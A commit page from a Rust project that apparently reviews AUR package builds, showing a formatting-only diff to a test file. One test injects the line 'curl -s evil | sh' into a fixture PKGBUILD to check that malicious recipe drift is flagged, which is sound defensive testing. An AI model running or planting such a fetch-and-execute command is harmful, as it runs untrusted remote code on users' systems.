diff options
| author | aur-build <aur-build@localhost> | 2026-11-22 10:36:24 +0000 |
|---|---|---|
| committer | aur-build <aur-build@localhost> | 2026-11-22 10:36:24 +0000 |
| commit | 3dc71b2f5160ef9bd46143eed0edb5d2557b58e6 (patch) | |
| tree | 7cc7169181b4bdd73fd8817f8c1d7cce6e6998a8 /tests/notices.rs | |
| parent | 9dc9087d89891c6e5ef7e5dc084dd13c8611843e (diff) | |
| download | aur-build-3dc71b2f5160ef9bd46143eed0edb5d2557b58e6.tar.gz aur-build-3dc71b2f5160ef9bd46143eed0edb5d2557b58e6.zip | |
rustfmt,lints: pin the formatting, adopt the idiom lints, pay them off
rustfmt.toml fixes the shape the tree is written in (120 columns, small
items kept on one line) and one canonical pass makes it the truth.
[lints.clippy] names the idiom lints worth enforcing and leaves out the
two that would add doc-comment boilerplate rather than remove it. The
tree pays them off here: write!/writeln! instead of push_str(&format!()),
let-else instead of match-on-Option, borrows where a thread entry point
only reads what it owns, no `&self` on a Copy state and no `self` nobody
reads.
ops::to_prometheus gains one gauge helper: a metric's HELP, TYPE and
value are now emitted by the same call instead of three.
Diffstat (limited to 'tests/notices.rs')
| -rw-r--r-- | tests/notices.rs | 24 |
1 files changed, 16 insertions, 8 deletions
diff --git a/tests/notices.rs b/tests/notices.rs index 3fb0055..aec5b2d 100644 --- a/tests/notices.rs +++ b/tests/notices.rs @@ -1,8 +1,8 @@ mod common; use aur_build::db::{self, model::*}; -use aur_build::review::risk; use aur_build::review::approve::approve as do_approve; +use aur_build::review::risk; use aur_build::review::{candidates, diff}; use aur_build::watch::detect; use common::*; @@ -72,7 +72,8 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() { let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); - std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap(); + std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")) + .unwrap(); git(&fx.aur, &["add", "-A"]); git(&fx.aur, &["commit", "-q", "-m", "sneaky"]); @@ -143,8 +144,18 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() { #[test] fn i11_nothing_publishable_is_ever_silently_dropped() { let fixtures = [ - "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset", - "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails", + "plain-make", + "with-patch", + "skip-checksum", + "split-pkgbase", + "epoch-bump", + "pkgrel-reset", + "downgrade", + "git-sourced", + "pin-drift", + "digest-drift", + "missing-dep", + "build-fails", ]; for name in fixtures { let (env, fx) = env_with_fixture(name); @@ -161,10 +172,7 @@ fn i11_nothing_publishable_is_ever_silently_dropped() { ); let notices = db::list_notices(&env.db, false).unwrap(); if let detect::Outcome::Notice { kind, .. } = &first { - assert!( - notices.iter().any(|n| &n.kind == kind), - "{name}: a {kind} outcome left no notice row" - ); + assert!(notices.iter().any(|n| &n.kind == kind), "{name}: a {kind} outcome left no notice row"); } let _ = fx.bump(&[("pkgrel", "99")]); let second = detect_outcome(&env, name); |
